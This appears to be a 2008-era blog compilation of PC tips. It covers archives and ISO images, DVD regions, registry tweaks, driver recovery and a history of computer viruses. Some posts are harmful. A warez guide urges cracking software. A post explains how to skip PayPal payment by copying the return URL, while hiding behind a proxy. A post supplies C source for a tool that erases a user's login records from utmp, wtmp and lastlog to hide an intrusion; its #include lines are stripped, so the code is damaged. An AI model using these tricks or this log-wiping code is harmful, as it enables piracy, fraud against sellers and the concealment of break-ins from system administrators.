As you might know, these software packages are sometimes pretty big in size. To try and reduce the big-file-downloads, the releasers of the package will often use some techniques to reduce the load. Techniques as compressing, archiving and splitting. Read-on if you dont understand these words..

0x02.1 - formats & tools.

If you've been around more than 1 year on the net, you prolly allready know all this but for the knew people I added this anyways...
The basic use of your Windows Operating System is the use of many different files and file-types. One of the most used file-types on the net is ZIP. File-types are also called 'formats'.
An overview:

ZIP A zipped file is a file thats been archived and compressed.
RAR RAR files are commonly used for archiving files; which is putting a large number of files in one file. Compressing is optional. File-splitting is optional.
ACE About the same as a RAR file, just an other format and another application.

I explain this to you because these file-types and coresponding programs are often, you can even use always here, used when you want to download Warez. The programs you download are almost always archived, compressed or bundled in one of the above formats. Keep reading if you didnt knew this

Ok so, now we know the formats of the files were gonna deal with, now the programs.
As you prolly figured out allready, these files arent created by Windows or by hand. Theyre made using specialy designed applications. Ill show you what applications you can use.

WinRAR : My personal favorite. Handles all of the above stated formats and alot, alot more. If you ask for my opinion, I think this is the only program you'll ever need.

WinZIP : This is a specially designed application for handleing ZIPPED files. If you like this one, take it.

WinACE : Another multi-file handling tool. Personal opinion: good for splitting files, way too big for every-day use for decompression.

I'd say: make your choice. I recommend WinRAR because of it's simplicity and effectiveness. But hey, I'm not forcing you. Just read some info on the sites and make ur choice.

Oh yea, one last thing: you'll notice these are all Evaluation versions. I suggest you crack them. Look for a good crack for the right version on: www.cracks.am.

0x02.2 - multi-part archives.

? These files are archived in multiple parts (with one of the applicatiosn mentioned above). Which means the software was zipped or rarred and divided into files of a smaller size then the whole thing together. How do you handle this?

>>> Download all the files to one directory.

>>> Check if all files are there. You can do this by looking at the extensions: *.00, *.01, ... If one's missing, download the missing file again (there are more sofisticated ways to do this but this is the simplest).

>>> Check if the files are about the same size. For example: the *.04 file must be the same size as the *.05 file, unless the 5th file is the last one.

>>> If theres a file with the extension *.RAR, double click it and u can start unpacking the stuff.

>>> If theres no *.RAR, but an *.ACE, do the same, its just an other format.

>>> Once you unarchived the package, you should have a directory full of files from an instalation or program. But its also possible there are, with the archived files, some other things:

- If the software pack is a Warez Group (MYTH, CLASS, Fairlight (FLT), ...) release, check if there's an EXE file with the package called Install.exe. If it's there, you can use that to unpack the files.

- If there's no exe in the package, the files are prolly just ready to be copied to your directory of choice // or ready to be installed.

IMPORTANT : please dont forget to read the NFO file. Its very important. It usually contains all further information needed for you to successfully install the software. You can open it with NFO-file viewers or in Notepad (set font to: terminal, 6 or 9 pts).

Normally, you're all done now and ready to start using the software.

? Ok, do I hear protest? Yes I do. It goes: "Hell, I downloaded a multi-part package but it has NO RAR OR ACE OR ZIP OR ANYTHING!!!! Just files with extensions called *.001; *.002, ..."

Your right. Although the situation is quite different from the situation above, it's really not so different when you look closer. Those files are just unarchived the same way:

>>> Select the first file (*.001).

>>> Right-click it and select 'Extract here...'

Watch the progress bar go! You see, its just the same method. You might notice theres only 2 or 3 files decompressed: ISO or CUE and BIN files. Thats fairly normal. Well talk about handling them in topic 0x03.0...

0x02.3 - one-file downloads.

Ok so the stuff u downloaded was none of above. Conclusion: you downloaded one big file. This happens quite often when you download things from fast-working FTPs.
What you need to do now:

>>> If the file is archived (.rar, .ace, .zip, ...), just unarchive it.

>>> If the file u unrachived is some weird *.ISO or *.CUE file, go to 0x03.0.

>>> If not, just continue the procedure as stated in 0x02.2.

0x03.0 - a clear view on images.

So when youre reading this, u prolly have some files called *.ISO or *.CUE. Offcourse you want to install the software as fast as possible. But, theres a little problem here. Those extensions... What the hell are they... Alienized files? No. Secret CIA files? Nope. You can stop guessing. Ill tell you: those files are image files.

0x03.1 - what are images?

Image files are big files filled with data. Yea, you can say its a sort of archived file. But theres something special about them: they are meant to written on a disc. They were made by special programs so they could be used to write on a CD-R with a writer and specially designed software.

0x03.2 - ISO files.

ISO is the most used image-format on the net. It has become a standard to any commercial cd-writing software to support image-writing capabilities, more specific ISO images.
Conclusion: ISO is just an extension for a specific type of image -file. But how do you install your software? You have 2 ways of dealing with this:
1) Use the file for what is was created: writing it to a CD-R.
2) Extracting the contents of an ISO to a certain directory.

First: how to write them to a CD-R...

>>> Download some CD-R writing software (if you dont have it allready).

>>> Install and crack it.

I recommend Nero Burning Rom. You can download it from WareZone in the Apps section.

>>> Go buy some CD-R's

>>> Fire-up Nero and you can start burning. Im not going to explain you how to use Nero. Read the help file about image writing and you should be fine. You can also use the wizard which is loaded automatically when you boot Nero.

Second: what to do if you dont got a CD-writer....

>>> Download some Image handling software.

I recommend WinISO.

>>> Fire-up WinISO, load your image file and extract it. Again I wont explain how to use WinISO. Check for help files or tutorials on the net, they should give you all the answers you need.

0x03.3 - CUE & BIN files.

CUE and BIN files always come together. The BIN file is comparable with an ISO and the CUE file is just a check, but it is required for any program to write this file correctly. Sometimes, theres an SFV file included. Again this is just a check-up about the file integrity.
You can burn and extract these files the same way i explained in 0x03.2.

0x04.0 - CD Emulation.

Ok, so here's another way to handle ISO images if you don't have a cd-writer.
You can create a virtual cd drive. What's that? That's something you'll see as a new disk drive in your Windows Explorer. This disk drive represents the contents you would see if you would burn the ISO image to cd!
How to create a virtual cd drive? Download DaemonTools !
Additional help on www.daemon-tools.com

Download from a paypal site without paying a penny

2008-08-18T00:37:00.000-07:00

Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to start you off.

Use a proxy when you try this to hide your ip as some sites will record your ip when you connect for security.

1) Rightclick your mouse (ctrl+click) viewsource and open the source of the site in an a texteditor
2) Search for the word "return"
3) Next to it you can find the url for the thank you page
4) Copy the url and paste it in your browser and you will see the download link

This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.

You can try it here to start with:
Code:
http://www.ramphelp.com/halfpipe.html

About half way down the page you will find:

Copy the link into your browser and download.

Downloading Windows Media Streams

2008-08-18T00:36:00.000-07:00

Downloading Windows Media Streams

Look for the video source url in the webpage source code and copy it:
user posted image
To view the source code, r-click on the webpage that plays the video and select "view source." If unable to do so, just close the window and in the main Internet Explorer (IE) window, click the History icon or press Ctrl+H. Look for the same webpage on the left pane. On the menu, click View > View source.

Paste the video source url in Windows Media Player. (File > Open URL... )
Let the video play now. When the correct title appears on the playlist pane, r-click on it and select "Properties."
Select the source url and copy it:
user posted image

Paste this url in Flashget to download the video clip.

Dual Boot After The Fact

2008-08-18T00:35:00.000-07:00

I want to run both Windows 2000 Pro and Windows 98 SE on my computer. When I bought a new hard drive, I installed Windows 2000 on it first. But my subsequent research seems to indicate that I should have installed Windows 98 SE first and then Windows 2000 on a separate partition. How do I remove Windows 2000 from the drive so I can partition it and then install Windows 98 SE first and reinstall Windows 2000?

You don't have to remove Windows 2000. Start by installing Windows 98 SE in a different partition. When you're done, insert the Windows 2000 CD and reboot to start Windows 2000 setup. On the Welcome to Setup page, press R (for Repair). When you reach the Windows 2000 Repair Options page, press R again.

You'll then be prompted to select a repair option. Press M for Manual. Then press the Up Arrow until Verify Windows 2000 system files is highlighted; press Enter to clear this selection. Press the Down Arrow to select Continue (perform selected tasks), and then press Enter.

The system will ask whether you have an emergency repair disk. Press L, indicating it should Locate your existing installation. Once it does so, press Enter to complete the repairs. This will establish dual boot for you. (This procedure also works for Windows XP.)

*NOTE:

Don't know if this will also work for Linux. If anyone does try it, please let me know.

Dvd Copying Ripping Definitions

2008-08-18T00:34:00.000-07:00

Rip
To take off the audio or video from a CD or DVD. Often CD Audio is "ripped" to MP3 files or DVD video ripped to VOB files.

Compression
The process of removing redundancies in digital data to reduce the amount that must be stored or transmitted. Lossless compression removes only enough redundancy so that the original data can be recreated exactly as it was. Lossy compression sacrifices additional data to achieve greater compression.

Encoding
Encoding is the process of changing data from one form into another according to a set of rules specifiec by a codec. The data is usually a file containing audio, video or still image. Often the encoding is done to make a file compatible with specific hardware (such as a DVD Player) or to compress or reduce the space the data occupies.

Common video encoding methods are DivX, MPEG-1, MPEG-2 and MPEG-4. A common audio encoding method is MP3 although many others exist including MPEG1 audio, DTS, and Dolby Digital.

Transcoding
On this site generally another name for encoding.

A more technical term would be "The reformatting of content, without changing the source, to another type of content - most often of a different format than the original (but does not have to be)"

Eliminate Ie's Autocomplete Reminder

2008-08-18T00:33:00.001-07:00

Eliminate Ie's Autocomplete Reminder

AutoComplete: Some people like it, some don't. Those who don't like it turn it off. Those of us who turned it off are now constantly being prompted to turn it on. By now, we despise it! How do we turn it off completely, with no more pop-ups asking us to turn it on?

It does seem that Internet Explorer really wants you to use AutoComplete. On a system with AutoComplete turned off, it will prompt you from time to time, asking to turn it on again. A Registry tweak will prevent IE's "helpful" reminders. First, close all IE windows. Launch REGEDIT from the Start menu's Run dialog. Navigate to the key HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel. Note that this key may not be present in its entirety. You may need to create the Internet Explorer and Control Panel subkeys. In the right-hand pane, look for a DWORD value named FormSuggest it will probably not be present. In that case, right-click in the right-hand pane and choose New | DWORD Value from the pop-up menu. Name the new value FormSuggest. Whether you found it or created it, double-click this value and set its data to 1. That should terminate the annoying reminder

DVD Regions Information

2008-08-18T00:33:00.000-07:00

The DVD region code identifies a DVD's compatibility with the players typically sold in a particular region.

The following graphic shows the approximate location of each region.

Image

Region 0 (or "region free") is compatible with DVD players from any region.

The majority of all current titles play only in one specific region unless otherwise noted. DVDs sold by Amazon.co.uk are encoded for Region 2 or Region 0. Region 2 DVDs may not work on DVD players in other countries.

Region 1 DVDs sold by Marketplace sellers

Region 1 discs are intended for use with standard DVD players in North America (Canada and the USA). In most instances they can also be played on compatible "multi-region" DVD players (also known as "chipped" or "region-free" players).

They also require an NTSC-compatible television. NTSC is the standard picture format in North America, and differs from the PAL format adopted in Britain and Europe. Region 1 DVDs are usually presented in NTSC format, so you should ensure that your TV is capable of reading the NTSC signal before purchasing Region 1 DVDs.

Regional Coding Enhancement (RCE)

Regional Coding Enhancement (RCE) has been added by some film studios (specifically Warner and Columbia) to selected Region 1 DVDs, with the intention of preventing these discs from playing on some multi-region DVD players. We are therefore unable to guarantee that all Region 1 discs will be compatible with all multi-region players.

Global DVD region countries

This is not a definitive list and is intended only as a guide.

Region 1 - US, US Territories and Canada

American Samoa, Canada, Guam, Palau, Mariana Islands, Marshall Islands, Puerto Rico, Micronesia, United States, U.S. Virgin Islands

Region 2 - UK, Europe, Japan, South Africa and Middle East

Albania, Andorra, Austria, Bahrain, Belgium, Bosnia and Herzegovina, Bulgaria, Croatia, Czech Republic, Denmark, Egypt, Finland, France, Germany, Gibraltar, Greece, Greenland, Hungary, Iceland, Iran, Iraq, Ireland, Israel, Italy, Japan, Jordan, Kuwait, Lebanon, Liechtenstein, Luxembourg, Macedonia, Malta, Moldova, Monaco, Netherlands, Norway, Oman, Poland, Portugal, Qatar, Romania, San Marino, Saudi Arabia, Slovakia, Slovenia, South Africa, Spain, Sweden, Switzerland, Syria, United Arab Emirates, United Kingdom, Vatican City, Yemen, Yugoslavia

Region 3 - Southeast and East Asia

Cambodia, Hong Kong, Indonesia, Laos, Malaysia, Myanmar, Phillipines, South Korea, Taiwan, Thailand, Vietnam

Region 4 - Australia, New Zealand, Central and South America

Antigua, Argentina, Aruba, Australia, Bahamas, Barbados, Barbuda, Belize, Bolivia, Brazil, Chile, Colombia, Costa Rica, Cuba, Dominica, Dominican Republic, Ecuador, El Salvador, Falkland Islands, French Guiana, Grenada, Guatemala, Guyana, Haiti, Honduras, Jamaica, Mexico, New Guinea, New Zealand, Nicaragua, Panama, Paraguay, Peru, Suriname, Trinidad, Tobago, Uruguay

Region 5 - Former Soviet Union, Indian sub-continent, Africa, North Korea and Mongolia

Afghanistan, Algeria, Angola, Bangladesh, Belarus, Benin, Botswana, Burkina Faso, Burundi, Cameroon, Cape Verde, Central African Republic, Chad, Comoros, Congo, Djibouti, Equatorial Guinea, Eritrea, Estonia, Ethiopia, Gabon, Gambia, Georgia, Ghana, Guinea, Guinea-Bissau, India, Ivory Coast, Kazakhstan, Kenya, Latvia, Lesotho, Liberia, Libya, Lithuania, Madagascar, Malawi, Mali, Mauritania, Mauritius, Mongolia, Morocco, Mozambique, Namibia, Niger, Nigeria, North Korea, Pakistan, Russia, Rwanda, Sao Tome and Principe, Senegal, Seychelles, Sierra Leone, Somalia, Sri Lanka, St. Helena, Sudan, Tanzania, Togo, Tunisia, Turkmenistan, Uganda, Ukraine, Uzbekistan, Zambia, Zimbabwe

Region 6 - China

China

Region 7 - Reserved for future use

Region 8 - International Territories (ships, planes, etc)

Enable Folder and Icon Refresh, Win XP Tweak

2008-08-18T00:31:00.000-07:00

Enable Folder and Icon Refresh

This reg file Enables Folder and Icon Refresh.

1. Copy the following (everything in the box) into notepdad.

QUOTE
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"NoNetCrawling"=dword:00000000

2. Save the file as disablerefreshundo.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

Erasing Your Presence From System Logs

2008-08-18T00:30:00.000-07:00

¤¤ Erasing Your Presence From System Logs ¤¤

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

} else printf("%s: ?\n",who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}

Evolution Of Computer Viruses History Of Viruses

2008-08-18T00:26:00.000-07:00

part 1

Like any other field in computer science, viruses have evolved -a great deal indeed- over the years. In the series of press releases which start today, we will look at the origins and evolution of malicious code since it first appeared up to the present.

Going back to the origin of viruses, it was in 1949 that Mathematician John Von Neumann described self-replicating programs which could resemble computer viruses as they are known today. However, it was not until the 60s that we find the predecessor of current viruses. In that decade, a group of programmers developed a game called Core Wars, which could reproduce every time it was run, and even saturate the memory of other players’ computers. The creators of this peculiar game also created the first antivirus, an application named Reeper, which could destroy copies created by Core Wars.

However, it was only in 1983 that one of these programmers announced the existence of Core Wars, which was described the following year in a prestigious scientific magazine: this was actually the starting point of what we call computer viruses today.

At that time, a still young MS-DOS was starting to become the preeminent operating system worldwide. This was a system with great prospects, but still many deficiencies as well, which arose from software developments and the lack of many hardware elements known today. Even like this, this new operating system became the target of a virus in 1986: Brain, a malicious code created in Pakistan which infected boot sectors of disks so that their contents could not be accessed. That year also saw the birth of the first Trojan: an application called PC-Write.

Shortly after, virus writers realized that infecting files could be even more harmful to systems. In 1987, a virus called Suriv-02 appeared, which infected COM files and opened the door to the infamous viruses Jerusalem or Viernes 13. However, the worst was still to come: 1988 set the date when the “Morris worm” appeared, infecting 6,000 computers.

From that date up to 1995 the types of malicious codes that are known today started being developed: the first macro viruses appeared, polymorphic viruses … Some of these even triggered epidemics, such as MichaelAngelo. However, there was an event that changed the virus scenario worldwide: the massive use of the Internet and e-mail. Little by little, viruses started adapting to this new situation until the appearance, in 1999, of Melissa, the first malicious code to cause a worldwide epidemic, opening a new era for computer viruses.

part 2

This second installment of ‘The evolution of viruses’ will look at how malicious code used to spread before use of the Internet and e-mail became as commonplace as it is today, and the main objectives of the creators of those earlier viruses.
Until the worldwide web and e-mail were adopted as a standard means of communication the world over, the main mediums through which viruses spread were floppy disks, removable drives, CDs, etc., containing files that were already infected or with the virus code in an executable boot sector.

When a virus entered a system it could go memory resident, infecting other files as they were opened, or it could start to reproduce immediately, also infecting other files on the system. The virus code could also be triggered by a certain event, for example when the system clock reached a certain date or time. In this case, the virus creator would calculate the time necessary for the virus to spread and then set a date –often with some particular significance- for the virus to activate. In this way, the virus would have an incubation period during which it didn’t visibly affect computers, but just spread from one system to another waiting for ‘D-day’ to launch its payload. This incubation period would be vital to the virus successfully infecting as many computers as possible.

One classic example of a destructive virus that lay low before releasing its payload was CIH, also known as Chernobyl. The most damaging version of this malicious code activated on April 26, when it would try to overwrite the flash-BIOS, the memory which includes the code needed to control PC devices. This virus, which first appeared in June 1998, had a serious impact for over two years and still continues to infect computers today.

Because of the way in which they propagate, these viruses spread very slowly, especially in comparison to the speed of today’s malicious code. Towards the end of the Eighties, for example, the Friday 13th (or Jerusalem) virus needed a long time to actually spread and continued to infect computers for some years. In contrast, experts reckon that in January 2003, SQLSlammer took just ten minutes to cause global communication problems across the Internet.

Notoriety versus stealth

For the most part, in the past, the activation of a malicious code triggered a series of on screen messages or images, or caused sounds to be emitted to catch the user’s attention. Such was the case with the Ping Pong virus, which displayed a ball bouncing from one side of the screen to another. This kind of elaborate display was used by the creator of the virus to gain as much notoriety as possible. Nowadays however, the opposite is the norm, with virus authors trying to make malicious code as discreet as possible, infecting users’ systems without them noticing that anything is amiss.

pat 3

This third installment of ‘The evolution of viruses’ will look at how the Internet and e-mail changed the propagation techniques used by computer viruses.

Internet and e-mail revolutionized communications. However, as expected, virus creators didn’t take long to realize that along with this new means of communication, an excellent way of spreading their creations far and wide had also dawned. Therefore, they quickly changed their aim from infecting a few computers while drawing as much attention to themselves as possible, to damaging as many computers as possible, as quickly as possible. This change in strategy resulted in the first global virus epidemic, which was caused by the Melissa worm.

With the appearance of Melissa, the economic impact of a virus started to become an issue. As a result, users -above all companies- started to become seriously concerned about the consequences of viruses on the security of their computers. This is how users discovered antivirus programs, which started to be installed widely. However, this also brought about a new challenge for virus writers, how to slip past this protection and how to persuade users to run infected files.

The answer to which of these virus strategies was the most effective came in the form of a new worm: Love Letter, which used a simple but effective ruse that could be considered an early type of social engineering. This strategy involves inserting false messages that trick users into thinking that the message includes anything, except a virus. This worm’s bait was simple; it led users to believe that they had received a love letter.

This technique is still the most widely used. However, it is closely followed by another tactic that has been the center of attention lately: exploiting vulnerabilities in commonly used software. This strategy offers a range of possibilities depending on the security hole exploited. The first malicious code to use this method –and quite successfully- were the BubbleBoy and Kakworm worms. These worms exploited a vulnerability in Internet Explorer by inserting HTML code in the body of the e-mail message, which allowed them to run automatically, without needing the user to do a thing.

Vulnerabilities allow many different types of actions to be carried out. For example, they allow viruses to be dropped on computers directly from the Internet -such as the Blaster worm-. In fact, the effects of the virus depend on the vulnerability that the virus author tries to exploit.

part 4

In the early days of computers, there were relatively few PCs likely to contain “sensitive” information, such as credit card numbers or other financial data, and these were generally limited to large companies that had already incorporated computers into working processes.

In any event, information stored in computers was not likely to be compromised, unless the computer was connected to a network through which the information could be transmitted. Of course, there were exceptions to this and there were cases in which hackers perpetrated frauds using data stored in IT systems. However, this was achieved through typical hacking activities, with no viruses involved.

The advent of the Internet however caused virus creators to change their objectives, and, from that moment on, they tried to infect as many computers as possible in the shortest time. Also, the introduction of Internet services -like e-banking or online shopping- brought in another change. Some virus creators started writing malicious codes not to infect computers, but, to steal confidential data associated to those services. Evidently, to achieve this, they needed viruses that could infect many computers silently.

Their malicious labor was finally rewarded with the appearance, in 1986, of a new breed of malicious code generically called “Trojan Horse”, or simply “Trojan”. This first Trojan was called PC-Write and tried to pass itself off as the shareware version of a text processor. When run, the Trojan displayed a functional text processor on screen. The problem was that, while the user wrote, PC-Write deleted and corrupted files on the computers’ hard disk.

After PC-Write, this type of malicious code evolved very quickly to reach the stage of present-day Trojans. Today, many of the people who design Trojans to steal data cannot be considered virus writers but simply thieves who, instead of using blowtorches or dynamite have turned to viruses to commit their crimes. Ldpinch.W or the Bancos or Tolger families of Trojans are examples of this

part 5

Even though none of them can be left aside, some particular fields of computer science have played a more determinant role than others with regard to the evolution of viruses. One of the most influential fields has been the development of programming languages.

These languages are basically a means of communication with computers in order to tell them what to do. Even though each of them has its own specific development and formulation rules, computers in fact understand only one language called "machine code".

Programming languages act as an interpreter between the programmer and the computer. Obviously, the more directly you can communicate with the computer, the better it will understand you, and more complex actions you can ask it to perform.

According to this, programming languages can be divided into "low and high level" languages, depending on whether their syntax is more understandable for programmers or for computers. A "high level" language uses expressions that are easily understandable for most programmers, but not so much for computers. Visual Basic and C are good examples of this type of language.

On the contrary, expressions used by "low level" languages are closer to machine code, but are very difficult to understand for someone who has not been involved in the programming process. One of the most powerful, most widely used examples of this type of language is "assembler".

In order to explain the use of programming languages through virus history, it is necessary to refer to hardware evolution. It is not difficult to understand that an old 8-bit processor does not have the power of modern 64-bit processors, and this of course, has had an impact on the programming languages used.

In this and the next installments of this series, we will look at the different programming languages used by virus creators through computer history:

- Virus antecessors: Core Wars

As was already explained in the first chapter of this series, a group of programs called Core Wars, developed by engineers at an important telecommunications company, are considered the antecessors of current-day viruses. Computer science was still in the early stages and programming languages had hardly developed. For this reason, authors of these proto-viruses used a language that was almost equal to machine code to program them.

Curiously enough, it seems that one of the Core Wars programmers was Robert Thomas Morris, whose son programmed -years later- the "Morris worm". This malicious code became extraordinarily famous since it managed to infect 6,000 computers, an impressive figure for 1988.

- The new gurus of the 8-bits and the assembler language.

The names Altair, IMSAI and Apple in USA and Sinclair, Atari and Commodore in Europe, bring memories of times gone by, when a new generation of computer enthusiasts "fought" to establish their place in the programming world. To be the best, programmers needed to have profound knowledge of machine code and assembler, as interpreters of high-level languages used too much run time. BASIC, for example, was a relatively easy to learn language which allowed users to develop programs simply and quickly. It had however, many limitations.

This caused the appearance of two groups of programmers: those who used assembler and those who turned to high-level languages (BASIC and PASCAL, mainly).

Computer aficionados of the time enjoyed themselves more by programming useful software than malware. However, 1981 saw the birth of what can be considered the first 8-bit virus. Its name was "Elk Cloner", and was programmed in machine code. This virus could infect Apple II systems and displayed a message when it infected a computer.

part 6

Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.

In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.

DOS viruses

The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.

Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.

Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.

Win16 viruses

The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.

The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers- were identified.

part 7

This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.

While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.

Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.

With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.

At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.

Melissa and self-executing worms

The powerful script interpreters in Microsoft Office allowed virus authors to arm their creations with the characteristics of worms. A clear example is Melissa, a Word macro virus with the characteristics of a worm that infects Word 97 and 2000 documents. This worm automatically sends itself out as an attachment to an e-mail message to the first 50 contacts in the Outlook address book on the affected computer. This technique, which has unfortunately become very popular nowadays, was first used in this virus which, in 1999, caused one of the largest epidemics in computer history in just a few days. In fact, companies like Microsoft, Intel or Lucent Technologies had to block their connections to the Internet due to the actions of Melissa.

The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.

As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.

Dealing with a Device Driver Disaster

2008-08-17T13:57:00.000-07:00

Invalid or corrupt device drivers can wreck havoc on a server, rendering the system unbootable in some cases. In this article, I will show you some techniques for recovering from even the worst device driver mishaps in a variety of Windows operating systems.

A buggy Network Card

One day last summer I was enjoying a leisurely day on my boat when I received a call from a rather panicked friend. A network card had gone out in his server, so he replaced the card, but the new card didn’t work either. Assuming that he had a bad card, he tried another network card, but it was no use. I told my friend that it sounded like that maybe his server’s system board had a bad PCI slot and that he should try the card in a different slot. Five minutes later, my phone rang again and I knew that I was going to have to go help my friend.

An hour later I arrived at my friend’s office and he showed me the server that was misbehaving. I toyed around with it for a little while and realized that Windows was detecting the card and was loading the driver, but the card just wasn’t working. I decided that perhaps the device driver was buggy and that I should check for a newer version. I asked my friend for the make and model of the network card, went to the manufacturer’s Web site and started downloading the driver. As I waited for my download to complete, the cause of the problem hit me. Windows had misidentified the network card. When the card was installed, Windows correctly determined that it was a network card that was being installed, but Windows had identified the wrong manufacturer (and model) and consequently loaded an incorrect driver. As soon as I replaced the default driver with the one that I had downloaded, the card began to work.

Since that time, I have run into several other situations in which Windows had identified a hardware component incorrectly. Apparently, it isn’t all that uncommon for Windows to make mistakes when setting up new hardware. In the case of my friend’s system, the problem wasn’t exactly harmless (the server was unavailable to the users for a couple of hours), but it wasn’t devastating either. The problem could have been a lot worse.

In my friend’s case, the incorrect driver simply caused that particular device to not work. I have seen situations though in which an invalid or corrupt device driver resulted in a blue screen of death. This is especially common with video drivers.

How do you handle this?

The scary part is that most administrators are under a huge amount of pressure to keep their servers up to date with the latest patches and drivers. With such frequent updating, it only stands to reason that sooner or later the odds of an administrator downloading a buggy, corrupt, or simply incorrect device driver at some point in time are pretty good. That being the case, let’s pretend for a moment that you install an updated device driver onto one of your servers, and the server produces the infamous blue screen of death. What do you do about it?

The appropriate course of action really just depends on what operating system is running on your server. If you are running Windows NT 4.0, then all I can say is “good luck”. The only real tools that Microsoft gives you to deal with a situation like this in Windows NT 4.0 are the Last Known Good Configuration option and the VGA Mode option.

The Last Known Good Configuration option still exists in Windows Server 2003. The idea is that after the operating system loads successfully, Windows takes a snap shot of the system’s configuration (including the device driver information).

